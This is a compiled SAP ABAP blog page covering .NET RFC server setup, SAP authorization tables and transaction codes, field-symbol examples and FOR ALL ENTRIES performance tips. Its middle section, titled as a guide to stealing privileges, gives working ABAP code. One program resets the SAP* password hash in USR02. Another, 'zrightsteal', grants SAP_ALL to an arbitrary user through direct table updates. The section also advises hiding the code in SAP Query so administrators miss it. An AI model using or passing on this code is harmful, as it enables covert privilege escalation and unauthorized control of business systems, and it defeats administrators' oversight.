The following steps need to create server side application.
1. Create a SAP Connector Class - Application ( Under Visual C# Projects ) and give the RFC name and build the application.
2. Inside this application, write your .net code as per your requirement.
3. After completed, this application will create an exe file ( Under the folder binrelease ).
4. You need to pass the command line parameters to execute this exe file. Command line parameters are
-a<registeration Name> -g<SAP Server Name/IP Address> -X<Sap Gateway>
For example:-aREG -gSAPSER1 -xSAPGW00
5. Create a RFC destination in SM59, Under TCP/IP.Technical Settings --> Activation Type --> Registered Server Program ( Need to be selected ).
Program ID must be your registeration name : TDS - SAP的RFC中Program ID 在.NET裡面的名稱是随便命名的。
Gateway Options are
Gateway Host:SAPSER1(10.1.2.150)-SAP伺服器的IP位址
Gateway Service:SAPGW00-SAP網關
For the parameter Gateway Host, you should enter the hostname of your SAP application server. The value for the parameter Gateway Service is usually SAPGW<XX>, where the XX is the system number of your SAP system.
6. Write an ABAP program to call the RFC with destination as created in 5th setp.
7. The exe file should run in the same domain/LAN of your SAP server. You can test the connection in SM59.It should be obvoius that the main option is "Registered Server Program" and not "Start...".
And "ProgramID" or "registration name" is an arbitrary string that just need to be equal in SM59 and at the command line of the RFC server.
1.檢視.NET注冊的Program ID是否運作
It sounds like that another RFC server program with the same Program ID is running there and the SAP gateway is "balancing" the load between your RFC server and that one.
You can use SMGW->GoTo->Logged on Clients to check all registered RFC servers and their programIDs (TP name).
2.Tcode:SM59 - 建立RFC連接配接,選擇TCP/IP連接配接
3.Calling RFC .NET Server from SAP Programs
To execute our .NET server stub application from the SAP system we need to execute the ABAP command Call function X Destination Y. This report calls our proxy and writes the results to screen. Alternatively, you can use the SAP function module’ssingle test capability with the TRFC destination for your .NET server stub.
To create a TRFC destination for the SAP .NET server stub create a destination of type T (TRFC) in transaction code SM59. The program ID in your server stub is case sensitive.
Example
*&---------------------------------------------------------------------
*& Report ZRFCSERVERCALL
**&--------------------------------------------------------------------
*& This program can be used with the RFCServerConsole sample
*& Source is available in %RFCServerConsoleABAPProgram
*&---------------------------------------------------------------------
REPORT ZRFCSERVERCALL .
DATA: TBLCUST like BRFCKNA1 occurs 0 with header line.
PARAMETERS: P_CUSTNO like KNA1-KUNNR, P_CUSTNA like KNA1-NAME1,
P_DEST(15) TYPE C.
CALL FUNCTION 'RFC_CUSTOMER_GET' DESTINATION P_DEST
EXPORTING
KUNNR = P_CUSTNO
NAME1 = P_CUSTNA
TABLES
CUSTOMER_T = TBLCUST
EXCEPTIONS
NOTHING_SPECIFIED = 1
NO_RECORD_FOUND = 2
OTHERS = 3.
CASE SY-SUBRC.
WHEN 0.
LOOP AT TBLCUST.
WRITE: / SY-TABIX, TBLCUST-KUNNR, TBLCUST-NAME1, TBLCUST-ORT01.
ENDLOOP.
WHEN 1.
WRITE: / 'You need to specify a value ', SY-MSGV1.
WHEN 2.
WRITE: / '.NET component didnt find anything ', SY-MSGV1.
WHEN 3.
WRITE: / 'Some other error occurred ', SY-MSGV1.
WHEN OTHERS.
WRITE: / 'Something is wrong if we get here'.
ENDCASE.
The entry point in the C# method is the method with the function module name being called from the SAP system (for example, RFC_CUSTOMER_GET). In Microsoft Visual Studio, you can set a breakpoint here and examine the input values from the SAP system. This provides a similar idea to the ABAP_DEBUG functionality that is provided in the client proxy.
RFCServerConsole - is an SAP RFC Server implemented in C#.
The SAP system calls out to this .net component.
This component implements, RFC_CUSTOMER_GET and will return 2 customers to SAP. Before calling this
component from inside of SAP, you'll need a TCP/IP destination (SM59) - (type registration). Set the
SAP connection in the Visual Studio project properties for RFCServerConsole (e.g. right click on it)
Properties > Configuration Properties > Debugging > Command line arguments.
(example -aSomeProgID -gLOCALHOST -xSAPGW00)
The program id (-a) parameter must match exactly in your component and in the TCP/IP destination (SM59)
All you have to do in sm59 is write RFC destination , Program ID , Description .
The Program ID is important ,because it is just the SomeProgID (example -aSomeProgID -gLOCALHOST -xSAPGW00)run RFCServerConsole.exe -aSomeProgID -gLOCALHOST -xSAPGW00 in commond.exe
9:48 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
SAP使用者權限解剖及自修改
通常basis會使用PFCG做權限管理,時你儲存時會産生一個系統外的profile name,
記得SU01時使用者有profile 和role兩欄位嗎?它們的關系如何呢?
首先明白幾個概念.
1.activity
這樣說吧,我們從activity談起,activity是什麼意思這個你查下
字典也就知道了,對就是規定可做什麼動作,比如說不能吸煙隻能喝酒,不能多于2兩,
不對,這是我老婆講的,SAP不是這樣子的,是隻能insert, update,display什麼的.
這些東西當年德國佬是寫在tobj表中的.
activity 也是可分activity group的.
2.activity category &Authorization group
Role Vs Profile
你看看表T020就知道了,就是什麼K,D, A, M什麼的.
profile是什麼呢?實際上可以了解為所有的authorization data(有很多authorization group--{你可使用OBA7填寫,權限太細也不是好事^_^}和activity組成)的一個集合的名字,通常一個自定義的role産
生一個profile,SAP權限控制是根據profile裡的authorization data(objects)來控制的.
role又是什麼呢?role隻是一個名字而已,然後将profile賦予給它, 比如你SU01建立一個
使用者,我沒有任何role,但是加如SAP_All profile也是可做任何事情.
SAP本身有很多default role & profile.
3.最常用的PFCG->authorizations->change authorization data->
進入後選取selection criteria 可看到所有的authorization object
manually可手工加authorization object,比如你使用某個t-code權限出錯誤,abap使用SU53檢查就
知道缺少哪個authorization objec,然後手工加入就可以.
你選去authorization levels就可by account type再細分權限.
有些甚至直接到表字段.而且你甚至可給一個object配置設定緩存buffer.
那麼SAP是如何做到權限控制的呢,屠夫就用刀小宰一下.
4.關于權限方面的幾個t-code.
(一)Role(角色)相關T-code:
PFAC 标準
PFAC_CHG 改變
PFAC_DEL 删除
PFAC_DIS 顯示
PFAC_INS 建立
PFAC_STR
PFCG 建立
ROLE_CMP 比較
SUPC 批量建立角色profile
SWUJ 測試
SU03 檢測authorzation data
SU25, SU26 檢查updated profile
(二)建立使用者相關T-code:
SU0
SU01
SU01D
SU01_NAV
SU05
SU50, Su51, SU52
SU1
SU10 批量
SU12 批量
SUCOMP:維護使用者公司位址
SU2 change使用者參數
SUIM 使用者資訊系統
使用者組
SUGR:維護
SUGRD:顯示
SUGRD_NAV:還是維護
SUGR_NAV:還是顯示
(三)關于profile&Authoraztion Data
SU02:直接建立profile不用role
SU20:細分Authorization Fields
SU21(SU03):****維護Authorization Objects(TOBJ,USR12).
對于憑證你可細分到:
F_BKPF_BED: Accounting Document: Account Authorization for Customers
F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
F_BKPF_BLA: Accounting Document: Authorization for Document Types
F_BKPF_BUK: Accounting Document: Authorization for Company Codes
F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
F_BKPF_GSB: Accounting Document: Authorization for Business Areas
F_BKPF_KOA: Accounting Document: Authorization for Account Types
F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
然後你進去還可細分,這些個東西是save在USR12表中的. 在DB層是UTAB.
對具體transaction code細分:
SU22,SU24
SU53:*** 就是你出錯用來檢查沒有那些authoraztion objects.
SU56:分析authoraztion data buffers.
SU87:用來檢查使用者改變産生的history
SU96,SU97,SU98,SU99:幹啥的?
SUPC:批量産生role
DB和logical層:
SUKRI:Transaction Combinations Critical for Security
tables:
TOBJ : All avaiable authorzation objects.(全在此)
USR12: 使用者級authoraztion值
-----------------------------
USR01:主資料
USR02:密碼在此
USR04:授權在此
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
USR10:User master authorization profiles
USR11:User Master Texts for Profiles (USR10)
USR12:User master authorization values
USR13:Short Texts for Authorizations
USR14:Surchargeable Language Versions per User
USR15:External User Name
USR16:Values for Variables for User Authorizations
USR20:Date of last user master reorganization
USR21:Assign user name address key
USR22:Logon data without kernel access
USR30:Additional Information for User Menu
USR40:Table for illegal passwords
USR41:目前使用者
USREFUS:
USRBF2
USRBF3
UST04:User Profile在此
UST10C: Composite profiles
UST10S: Single profiles (角色對應的
UST12 : Authorizations..............................
..............................
如何竊取權限
..............................
使用者:
User type使用者類型(幹啥用的不講):
通常的使用者類型有
a.dialog (就是normal user)
b.communication
c.system
d.service
e.reference.
通常你在使用任何T-code前一定會有權限檢測的.
AUTHORITY_CHECK:這個函數隻是小檢查一下你的user有沒有,什麼時候過期.
**如果coding隻要使用此函數就夠了.
AUTHORITY_CHECK_TCODE:檢查T-code
這倆函數是真正檢查autorization objects的.
SUSR_USER_AUTH_FOR_OBJ_GET:
AUTHORIZATION_DATA_READ_SELOBJ:
------------------------------------------
将SAP*的密碼改成123的程式,很簡單.
我們找到那個user logon表USR02.
(DF52478E6FF90EEB是經過SAP加密儲存在DB的,哪位老兄研究過SAP的密碼加密?)
report zmodSAP*.
data zUSR02 like USR02 .
select single * into zUSR02 from USR02
where BNAME = 'SAP*'.
zUSR02-Bcode = 'DF52478E6FF90EEB' .
Update USR02 from zUSR02 .
現在的問題是如何讓你那basis不發現,很簡單,将code隐藏在Query裡面,就是說你做一個
query,query是會産生code的,然後你加入此代碼,誰能想到???然後你就等你的basis去哭...
這樣做太狠毒了.還是自己偷偷搞自己的使用者吧.
在此你必須對權限結構非常清晰.
權限和三個表有關系.
a.USR04
b.USR04
c.USRBF2 這個表是對應到所用的authorzization objects的.
*&---------------------------------------------------------------------*
*& Report : Steal SAP ALL Right *
*& Creation Date : 2004.04.01 *
*& Created by : Stone.Fu *
*& Description : 可竊取SAP ALL權限 *
*& Modified Date : 2005.11.02
*& Description : 将此code hide在report painter or query code *
*&---------------------------------------------------------------------*
report zrightsteal.
data zUSR04 like USR04 . "????????work area??
data zUST04 like USR04 .
data zPROFS like USR04-PROFS.
data ZUSRBF2 like USRBF2 occurs 0 with header line.
"USRBF2?????internal table
** Update Authorization table USR04.
select single * into zUSR04 from USR04
where BNAME = 'ZABC2'. "SAP All 權限
move 'C SAP_ALL' to zPROFS .
ZUSR04-NRPRO = '14'.
zUSR04-PROFS = zPROFS.
Update USR04 from zUSR04 .
**Update User authorization masters table UST04 .
select single * into zUST04 from UST04
where BNAME = 'ZABC2'.
zUST04-PROFILE = 'SAP_ALL'. "SAP all 權限
Update UST04 from zUST04 .
*?????insert
*ZUST04-MANDT = '200'.
*ZUST04-BNAME = 'ZABC2'.
*ZUST04-PROFILE = 'SAP_ALL'.
*Insert UST04 from ZUST04 .
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZABC2'.
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
自己建立一個ztest使用者不給它任何權限然後在test machine上run 報表zrightsteal.
然後ztest就是SAP_ALL了, 然後你将code hide在SQP query的code中. ABAP code太容易被人發現.
from http://space.itpub.net/?uid-13946941-action-viewspace-itemid-468329
9:32 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP
SAP ABAP--通過Field-symbols修改内表( same as c and c++ point)
1. 什麼是ABAP指針:
在ABAP裡面,field symbol就相當于c語言的指針。如果你定義并且配置設定了相應的結構或者變量給它,其實它就指
向這個結構或者變量的位址,如果修改了field symbol的值,則相應結構或者變量的值也随之更改。
2. 如何定義指針:
基本形式:FIELD-SYMBOLS <fs>.
附加資訊:
1. ... TYPE :定義一個資料類型,然後定義指針
2. ... TYPE REF TO :指針指向類或者接口
3. ... TYPE REF TO :指針指向資料結構
4. ... TYPE LINE OF :指針内表的行項目
5. ... LIKE :指針為資料庫表類型
6. ... LIKE LINE OF :指針類型為資料庫表的行項目
3. 如何配置設定指針:
(1). ASSIGN f TO .:配置設定一個指針,包括以下幾種類型
1. ... CASTING ... :主要對unicode系統地操作
1a. ... CASTING
1b. ... CASTING TYPE type
1c. ... CASTING ... DECIMALS dec
1d. ... CASTING LIKE f1
2. ... TYPE type :直接指定類型
3. ... DECIMALS dec :指定小數點位數
4. ... RANGE range:指定範圍
(2). 配置設定結構中的某個字段給指針
ASSIGN COMPONENT idx OF STRUCTURE struc TO .
ASSIGN COMPONENT name OF STRUCTURE struc TO .
(3). 配置設定類的方法給指針
ASSIGN dref->* TO .
(4). 從f開始,是f的n倍長之後的内容配置設定給指針
ASSIGN f INCREMENT n TO .
(5). 配置設定局部變量給指針
ASSIGN LOCAL COPY
3a. ASSIGN LOCAL COPY OF f TO .
3b. ASSIGN LOCAL COPY OF INITIAL f TO .
3c. ASSIGN LOCAL COPY OF INITIAL LINE OF itab TO .
4c. ASSIGN LOCAL COPY OF MAIN TABLE FIELD (f) TO .
(6). ASSIGN dynamicJ:動态配置設定指針
4a. ASSIGN (f) TO .
4b. ASSIGN oref->(f) TO .
4c. ASSIGN (f1)=>(f2) TO .
4d. ASSIGN TABLE FIELD (f) TO .
4e. ASSIGN LOCAL COPY OF MAIN TABLE FIELD (f) TO .
4f. ASSIGN LOCAL COPY OF ... (f) TO .
4. 如何取消配置設定:
UNASSIGN .
不清楚内表内表到底是itab還是itab2,但是又要通路内表裡的第2個字段。是以在loop的時候不能用to到一個結構體,而要用assigning一個指向ANY的指針,然後進行後面的操作。
IF n = 1.
ASSIGN itab[] TO <tab_fs>. " <tab_fs>是指向standard table的
ELSE.
ASSIGN itab2[] TO <tab_fs>.
ENDIF.
LOOP AT <tab_fs> ASSIGNING <wa_fs>.
ASSIGN COMPONENT 2 OF STRUCTURE <wa_fs> TO <field_fs>. ”filed_fs是ANY的
WRITE: / <field_fs>.
ENDLOOP.
具體實作:
1.結構的動态查詢
DEFINE SELECT_DATA_TO_WA.
SELECT &1
FROM &2
INTO CORRESPONDING FIELDS OF &3
WHERE (&4).
EXIT.
ENDSELECT.
END-OF-DEFINITION.
2.變量的動态查詢
DEFINE SELECT_DATA_TO_VARIANT.
SELECT &1
FROM &2
INTO &3
WHERE (&4).
EXIT.
ENDSELECT.
END-OF-DEFINITION.
3.内表的動态查詢
DEFINE SELECT_DATA_TO_VARIANT.
SELECT &1
FROM &2
INTO CORRESPONDING FIELDS OF TABLE &3
WHERE (&4).
EXIT.
ENDSELECT.
END-OF-DEFINITION.
具體程式實作:
DATA: L_FIELD(100) TYPE C,
L_TABLE(10) TYPE C,
L_COND(100) TYPE C.
DATA: I_COND TYPE TALBE OF L_COND.
FIELD-SYMBOLS TYPE ANY.
START-OF-SELECTION.
CONCATENATE 'CARRID' 'CONNID' 'CITYFROM'
INTO L_S
SEPARATE BY SPACE.
CONCATENATE 'CONNID = ' '0123'
INTO L_COND.
APPEND COND TO I_COND.
L_TABLE = 'SPFLI'.
IF IS ASSIGNED.
UNASSIGN .
ASSIGN SPFLI TO .
ELSE.
ASSIGN SPFLI TO .
ENDIF.
SELECT_DATA_TO_WA (L_S) (L_TABLE) I_COND.
=================================================================================
FIELD-SYMBOLS CASTING
REPORT z_barry_fs_casting.
TYPES: BEGIN OF t_date,
year(4) TYPE n,
month(2) TYPE n,
day(2) TYPE n,
END OF t_date.
FIELD-SYMBOLS <fs> TYPE t_date.
ASSIGN sy-datum TO <fs> CASTING.
WRITE: / sy-datum,
/ <fs>-year , / <fs>-month, / <fs>-day.
=================================================================================
光标操作
DATA: w_fname(20) TYPE c,
w_val(10) TYPE c.
PARAMETERS: p1(10) TYPE c,
p2(10) TYPE c,
p3(10) TYPE c.
AT SELECTION-SCREEN.
CHECK sy-ucomm IS INITIAL.
GET CURSOR FIELD w_fname VALUE w_val.
CHECK w_val IS INITIAL. "如果沒有輸入
CLEAR w_fname.
AT SELECTION-SCREEN OUTPUT.
CASE w_fname.
WHEN 'P1'.
CLEAR w_fname.
SET CURSOR FIELD 'P2'.
WHEN 'P2'.
CLEAR w_fname.
SET CURSOR FIELD 'P3'.
ENDCASE.
======================================================================
ABAP--Field Symbol 的Example(來自SAP的樣例)
Full type specification
REPORT demo_field_symbols_type .
DATA: BEGIN OF line,
col1(1) TYPE c,
col2(1) TYPE c VALUE 'X',
END OF line.
FIELD-SYMBOLS <fs> LIKE line.
ASSIGN line TO <fs>.
MOVE <fs>-col2 TO <fs>-col1.
WRITE: <fs>-col1, <fs>-col2.
Forcing structures
REPORT demo_field_symbols_structure .
DATA: wa(10) TYPE c VALUE '0123456789'.
DATA: BEGIN OF line1,
col1(3) TYPE c,
col2(2) TYPE c,
col3(5) TYPE c,
END OF line1.
DATA: BEGIN OF line2,
col1(2) TYPE c,
col2 TYPE sy-datum,
END OF line2.
* obsolete -------------------------------------------------------------
FIELD-SYMBOLS: <f1> STRUCTURE line1 DEFAULT wa,
<f2> STRUCTURE line2 DEFAULT wa.
* correct --------------------------------------------------------------
FIELD-SYMBOLS <f3> LIKE line1.
ASSIGN wa TO <f3> CASTING.
FIELD-SYMBOLS <f4> LIKE line2.
ASSIGN wa TO <f4> CASTING.
* ----------------------------------------------------------------------
WRITE: / <f1>-col1, <f1>-col2, <f1>-col3,
/ <f2>-col1, <f2>-col2.
SKIP.
WRITE: / <f3>-col1, <f3>-col2, <f3>-col3,
/ <f4>-col1, <f4>-col2.
Static assign
REPORT demo_field_symbols_stat_assign .
FIELD-SYMBOLS: <f1> TYPE ANY, <f2> TYPE i.
DATA: text(20) TYPE c VALUE 'Hello, how are you?',
num TYPE i VALUE 5,
BEGIN OF line1,
col1 TYPE f VALUE '1.1e+10',
col2 TYPE i VALUE '1234',
END OF line1,
line2 LIKE line1.
ASSIGN text TO <f1>.
ASSIGN num TO <f2>.
DESCRIBE FIELD <f1> LENGTH <f2>.
WRITE: / <f1>, 'has length', num.
ASSIGN line1 TO <f1>.
ASSIGN line2-col2 TO <f2>.
MOVE <f1> TO line2.
ASSIGN 'LINE2-COL2 =' TO <f1>.
WRITE: / <f1>, <f2>.
Assign with offset
REPORT demo_field_symbols_stat_as_off .
FIELD-SYMBOLS <fs> TYPE ANY.
DATA: BEGIN OF line,
string1(10) VALUE '0123456789',
string2(10) VALUE 'abcdefghij',
END OF line.
WRITE / line-string1+5.
ASSIGN line-string1+5 TO <fs>.
WRITE / <fs>.
ASSIGN line-string1+5(*) TO <fs>.
WRITE / <fs>.
REPORT demo_field_symbols_stat_as_of2 .
FIELD-SYMBOLS <fs> TYPE ANY.
DATA: BEGIN OF line,
a TYPE c VALUE '1', b TYPE c VALUE '2',
c TYPE c VALUE '3', d TYPE c VALUE '4',
e TYPE c VALUE '5', f TYPE c VALUE '6',
g TYPE c VALUE '7', h TYPE c VALUE '8',
END OF line,
off TYPE i,
len TYPE i VALUE 2.
DO 2 TIMES.
off = sy-index * 3.
ASSIGN line-a+off(len) TO <fs>.
<fs> = 'XX'.
ENDDO.
DO 8 TIMES.
off = sy-index - 1.
ASSIGN line-a+off(1) TO <fs>.
WRITE <fs>.
ENDDO.
Dynamic assign
REPORT demo_field_symbols_dynami_as_2 .
TABLES sbook.
DATA: name1(20) TYPE c VALUE 'SBOOK-FLDATE',
name2(20) TYPE c VALUE 'NAME1'.
FIELD-SYMBOLS <fs> TYPE ANY.
ASSIGN TABLE FIELD (name1) TO <fs>.
WRITE: / 'SY-SUBRC:', sy-subrc.
ASSIGN TABLE FIELD (name2) TO <fs>.
WRITE: / 'SY-SUBRC:', sy-subrc.
Assigning field symbols
REPORT demo_field_symbols_dynami_as_3 .
DATA: BEGIN OF s,
a TYPE c VALUE '1', b TYPE c VALUE '2', c TYPE c VALUE '3',
d TYPE c VALUE '4', e TYPE c VALUE '5', f TYPE c VALUE '6',
g TYPE c VALUE '7', h TYPE c VALUE '8',
END OF s.
DATA off TYPE i.
FIELD-SYMBOLS <fs> TYPE ANY.
ASSIGN s-a TO <fs>.
DO 4 TIMES.
off = sy-index - 1.
ASSIGN <fs>+off(1) TO <fs>.
WRITE <fs>.
ENDDO.
Assigning a structure by component
REPORT demo_field_symbols_assign_comp .
DATA: BEGIN OF line,
col1 TYPE i VALUE '11',
col2 TYPE i VALUE '22',
col3 TYPE i VALUE '33',
END OF line.
DATA comp(5) TYPE c VALUE 'COL3'.
FIELD-SYMBOLS: <f1> TYPE ANY, <f2> TYPE ANY, <f3> TYPE ANY.
ASSIGN line TO <f1>.
ASSIGN comp TO <f2>.
DO 3 TIMES.
ASSIGN COMPONENT sy-index OF STRUCTURE <f1> TO <f3>.
WRITE <f3>.
ENDDO.
ASSIGN COMPONENT <f2> OF STRUCTURE <f1> TO <f3>.
WRITE / <f3>.
Casting with field symbol type
REPORT demo_field_symbols_casting.
TYPES: BEGIN OF t_date,
year(4) TYPE n,
month(2) TYPE n,
day(2) TYPE n,
END OF t_date.
FIELD-SYMBOLS <fs> TYPE t_date.
ASSIGN sy-datum TO <fs> CASTING.
WRITE / sy-datum.
SKIP.
WRITE: / <fs>-year , / <fs>-month, / <fs>-day.
Casting with explicit type
REPORT demo_field_symbols_casting_typ.
TYPES: BEGIN OF t_date,
year(4) TYPE n,
month(2) TYPE n,
day(2) TYPE n,
END OF t_date.
FIELD-SYMBOLS: <fs> TYPE ANY,
<f> TYPE n.
ASSIGN sy-datum TO <fs> CASTING TYPE t_date.
WRITE / sy-datum.
SKIP.
DO.
ASSIGN COMPONENT sy-index OF STRUCTURE <fs> TO <f>.
IF sy-subrc <> 0.
EXIT.
ENDIF.
WRITE / <f>.
ENDDO.
Casting with predefined data types
REPORT demo_field_symbols_assign_type .
DATA txt(8) TYPE c VALUE '19980606'.
DATA mytype(1) VALUE 'X'.
FIELD-SYMBOLS <fs> TYPE ANY.
ASSIGN txt TO <fs>.
WRITE / <fs>.
SKIP.
* obsolete -------------------------------------------------------------
ASSIGN txt TO <fs> TYPE 'D'.
WRITE / <fs>.
ASSIGN txt TO <fs> TYPE mytype.
WRITE / <fs>.
SKIP.
* correct --------------------------------------------------------------
ASSIGN txt TO <fs> CASTING TYPE d.
WRITE / <fs>.
ASSIGN txt TO <fs> CASTING TYPE (mytype).
WRITE / <fs>.
Casting decimla places
REPORT demo_field_symbols_assign_deci .
DATA: pack1 TYPE p DECIMALS 2 VALUE '400',
pack2 TYPE p DECIMALS 2,
pack3 TYPE p DECIMALS 2.
FIELD-SYMBOLS: <f1> TYPE ANY ,
<f2> TYPE ANY.
WRITE: / 'PACK1', pack1.
SKIP.
* obsolete -------------------------------------------------------------
ASSIGN pack1 TO <f1> DECIMALS 1.
WRITE: / '<F1> ', <f1>.
pack2 = <f1>.
WRITE: / 'PACK2', pack2.
ASSIGN pack2 TO <f2> DECIMALS 4.
WRITE: / '<F2> ', <f2>.
pack3 = <f1> + <f2>.
WRITE: / 'PACK3', pack3.
<f2> = '1234.56789'.
WRITE: / '<F2> ', <f2>.
WRITE: / 'PACK2', pack2.
SKIP.
* correct --------------------------------------------------------------
ASSIGN pack1 TO <f1> CASTING TYPE p DECIMALS 1.
WRITE: / '<F1> ', <f1>.
pack2 = <f1>.
WRITE: / 'PACK2', pack2.
ASSIGN pack2 TO <f2> CASTING TYPE p DECIMALS 4.
WRITE: / '<F2> ', <f2>.
pack3 = <f1> + <f2>.
WRITE: / 'PACK3', pack3.
<f2> = '1234.56789'.
WRITE: / '<F2> ', <f2>.
WRITE: / 'PACK2', pack2.
Data areas for field symbols
REPORT demo_field_symbols_assign_err .
DATA: text1(10) TYPE c, text2(10) TYPE c, text3(5) TYPE c.
FIELD-SYMBOLS <fs> TYPE ANY.
DO 100 TIMES. "Runtime-Error!
ASSIGN text1+sy-index(1) TO <fs>.
ENDDO.
Data references
REPORT demo_data_reference.
TYPES: BEGIN OF t_struct,
col1 TYPE i,
col2 TYPE i,
END OF t_struct.
DATA: dref1 TYPE REF TO data,
dref2 TYPE REF TO data.
FIELD-SYMBOLS: <fs1> TYPE t_struct,
<fs2> TYPE i.
CREATE DATA dref1 TYPE t_struct.
ASSIGN dref1->* TO <fs1>.
<fs1>-col1 = 1.
<fs1>-col2 = 2.
dref2 = dref1.
ASSIGN dref2->* TO <fs2> CASTING.
WRITE / <fs2>.
GET REFERENCE OF <fs1>-col2 INTO dref2.
ASSIGN dref2->* TO <fs2>.
WRITE / <fs2>.
===========================================================================
ABAP--通過Field-symbols修改内表
report demo_field_symbols_assign_comp .
DATA: BEGIN OF gs_itab,
drph(10) ,
cmsl01(17),
cmsl02(17),
sl01(17),
sl02(17),
END OF gs_itab.
DATA: gt_ita1 LIKE gs_itab OCCURS 0 WITH HEADER LINE.
data gv_zd(15).
FIELD-SYMBOLS <sl> TYPE c.
FIELD-SYMBOLS <cmsl> TYPE c.
FIELD-SYMBOLS <fs> LIKE LINE OF gt_ita1.
DO 15 TIMES.
gt_ita1-drph = SY-INDEX .
gt_ita1-cmsl01 = 2.
append gt_ita1.
enddo.
write 'Before Modify:'.
write:/ 'cmsl01','cmsl02','sl01','sl02'.
loop at gt_ita1.
write:/ '|',gt_ita1-cmsl01,'|',gt_ita1-cmsl02,'|',gt_ita1-sl01,'|' ,gt_ita1-sl02,'|'.
endloop.
loop at gt_ita1 aSSIGNING <fs>.
ASSIGN COMPONENT 'CMSL01' OF STRUCTURE <fs> TO <cmsl>.
ASSIGN COMPONENT 'SL01' OF STRUCTURE <fs> TO <sl>.
move <cmsl> to <sl>.
ASSIGN COMPONENT 'SL02' OF STRUCTURE <fs> TO <sl>.
move <cmsl> to <sl>.
<fs>-CMSL02 = 'A' .
endloop.
write / 'After Modify:'.
loop at gt_ita1.
write:/ '|',gt_ita1-cmsl01,'|',gt_ita1-cmsl02,'|',gt_ita1-sl01,'|' ,gt_ita1-sl02,'|'.
endloop.
注意:ASSIGN TABLE FIELD (f) TO <fs>. 隻能用TABLES定義的變量
An important, but frequently misunderstood aspect of ABAP, is the "Field Symbol". But you'll find they aren't mysterious. In fact, they may remind you of some features in popular general-purpose programming languages.
Field symbols allow you to:
** Assign an alias to a data object(for example, a shortened name for data objects structured through several hierarchies
For Example: <fs>-f instead of rec1-rec2-rec3-f)
** Set the offset and length for a string variably at runtime
** Set a pointer to a data object that you determine at runtime (dynamic ASSIGN)
** Adopt or change the type of a field dynamically at runtime
** Access components of a structure (from Release 4.5A) Point to lines of an internal table (process internal tables without a separate work area)
Field symbols in ABAP are similar to pointers in other programming languages. However, pointers (as used in PASCAL or C) differ from ABAP field symbols in their reference syntax.
The statement ASSIGN f to <fs> assigns the field f to field symbol <fs>. The field symbol <fs> then "points" to the contents of field f at runtime. This means that all changes to the
contents of f are visible in <fs> and vice versa. You declare the field symbol <fs> using the statement FIELD-SYMBOLS: <fs>.
Reference syntax
Programming languages such as PASCAL and C use a dereferencing symbol to indicate the difference between a reference and the object to which it refers; so PASCAL would use p^ for a pointer instead of p, C would use *p instead of p. ABAP does not have any such dereferencing symbol.
** In PASCAL or C, if you assign a pointer p1 to a pointer p2, you force p1 to point to the object to which p2 refers (reference semantics).
** In ABAP, if you assign a field symbol <fs1> to a field symbol <fs2>, <fs1> takes the value of the data object to which <fs2> refers (value semantics).
** Field symbols in ABAP are always dereferenced, that is, they always access the referenced data object. If you want to change the reference yourself in ABAP, you can use the ASSIGN statement
to assign field symbol <fs1> to field symbol <fs2>.
參考連結:http://blog.csdn.net/CompassButton/archive/2007/06/15/1653907.aspx
http://blog.csdn.net/CompassButton/archive/2007/06/15/1653157.aspx
=======================
溝通無限
msn:[email protected]
9:28 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP 4月3日
sap ABAP "FOR ALL ENTRIES IN" 使用指南
SAP ABAP Performance Tuning
Tips & Tricks
Use of FOR ALL Entries
Use of FOR ALL Entries
Outer join can be created using this addition to the where clause in a select statement. It speeds up the performance tremendously, but the cons of using this variation are listed below
- Duplicates are automatically removed from the resulting data set. Hence care should be taken that the unique key of the detail line items should be given in the select statement.
- If the table on which the For All Entries IN clause is based is empty, all rows are selected into the destination table. Hence it is advisable to check before-hand that the first table is not empty.
- If the table on which the For All Entries IN clause is based is very large, the performance will go down instead of improving. Hence attempt should be made to keep the table size to a moderate level.
Not Recommended
Loop at int_cntry.
Select single * from zfligh into int_fligh
where cntry = int_cntry-cntry.
Append int_fligh.
Endloop.
Recommended
Select * from zfligh appending table int_fligh
For all entries in int_cntry
Where cntry = int_cntry-cntry.
在ABAP開發中,對于不能使用join的聚集表或者需要使用SELECT 的内表,我們一般使用for all entries in 語句将該表與内表串聯,查詢出需要的資料,例如: BSEG聚集表為例,如下:
SELECT bseg~kunnr
bseg~lifnr
bseg~belnr
INTO TABLE itab_bseg
FROM bseg
FOR ALL ENTRIES IN itab_main
WHERE bukrs in _bukrs
and ( belnr = itab_main-belnr
AND hkont = itab_main-hkont ).
由于BSEG不能和BSIS做inner join是以先将BSIS内容放到itab_main 中,然後用 FOR ALL ENTRIES IN來串聯。
1-WHERE子句中的bukrs in _bukrs是指bseg-bukrs存在于_bukrs這個select-options中,_bukrs不是itab_main的field是以這部分不包括在括号中.
當然會增加記憶體使用了。
原本一個條件,數次(驅動表的紀錄條數)向對DB操作,
使用了FOR ALL ENTRIES後,
相當于把驅動表裡的條件字段的所有值用OR 連起來,
一次對DB操作,
條件語句增大,勢必使記憶體占用增多。
1.SELECT CARRID
CONNID
PRICE
FROM SFLIGHT
INTO TABLE IT_PRICE
FOR ALL ENTRIES IN IT_SFLIGHT
WHERE CARRID = IT_SFLIGHT-CARRID
AND CONNID = IT_SFLIGHT-CONNID'.
在 WHERE 條件中,IT_SFLIGHT-CARRID和IT_SFLIGHT-CONNID這些列将用作占位符。該 SELECT 語句的結果集是 SELECT 語句的所有結果集的聯合,這些結果集是用内部表 IT_SFLIGHT 中的相應值在每一行上替換占位符的結果。實際上該WHERE子句的特殊變式就是下面WHERE基本語句的簡略寫法。
SELECT DISTINCT CARRID
CONNID
PRICE
FROM SFLIGHT
INTO TABLE IT_PRICE
WHERE ( CARRID = 'LH' AND
CONNID = '2415' ) OR
( CARRID = 'SQ' AND
CONNID = '0026' ) OR
( CARRID = 'LH' AND
CONNID = '0400' ) .
